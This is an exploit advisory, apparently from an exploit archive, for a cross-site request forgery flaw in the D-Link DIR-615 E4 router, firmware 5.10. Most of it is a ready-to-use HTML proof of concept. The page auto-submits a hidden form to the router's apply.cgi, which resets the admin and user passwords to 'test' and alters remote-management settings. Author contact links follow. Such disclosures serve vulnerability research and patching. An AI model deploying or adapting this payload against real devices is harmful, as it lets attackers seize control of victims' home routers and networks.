D-Link DIR-615 vE4 Firmware 5.10 – Cross-Site Request Forgery
#################################################################################### # Exploit Title: Dlink DIR-615 Hardware Version E4 Firmware Verion 5.10 CSRF Vulnerability # Google Dork: N/A # Date: 19/02/2014 # Exploit Author: Dhruv Shah # Vendor Homepage: http://www.dlink.com/us/en/home-solutions/connect/routers/dir-615-wireless-n-300-router # Software Link: N/A # Hardware Version:E4 # Firmware Version:5.10 # Tested on: Router Web Server # CVE : N/A ################################################################################### Cross Site Request Forgery This Modem's Web Application , suffers from Cross-site request forgery through which attacker can manipulate user data via sending him malicious craft url. The Modems's Application not using any security token to prevent it against CSRF. You can manipulate any userdata. PoC and Exploit to change user password: In the POC the IP address in the POST is the modems IP address. <html> <body> <form id ="poc"action="http://192.168.0.1/apply.cgi" method="POST"> <input type="hidden" name="html_response_page" value="back.asp" /> <input type="hidden" name="html_response_message" value="The setting is saved." /> <input type="hidden" name="html_response_return_page" value="login.asp" /> <input type="hidden" name="reboot_type" value="none" /> <input type="hidden" name="button1" value="Save Settings" /> <input type="hidden" name="admin_password" value="test" /> <input type="hidden" name="admin_password1" value="test" /> <input type="hidden" name="admPass2" value="test" /> <input type="hidden" name="user_password" value="test" /> <input type="hidden" name="user_password1" value="test" /> <input type="hidden" name="usrPass2" value="test" /> <input type="hidden" name="hostname" value="DIR-615" /> <input type="hidden" name="graphical_enable" value="1" /> <input type="hidden" name="graph_auth_enable" value="1" /> <input type="hidden" name="remote_http_management_enable" value="0" /> <input type="hidden" name="remote_http_management_inbound_filter" value="Allow_All" /> </form> </body> <script type="text/javascript">document.getElementById("poc").submit();</script> </html> ______________________ *Dhruv Shah* *aka Snypter* Blogger | Researcher | Consultant | Writer Youtube <http://www.youtube.com/snypter> | Facebook<http://www.facebook.com/dhruvshahs>| Linkedin <http://in.linkedin.com/pub/dhruv-shah/26/4a6/aa0> | Twitter<https://twitter.com/Snypter>| Blog <http://security-geek.in/blog/> |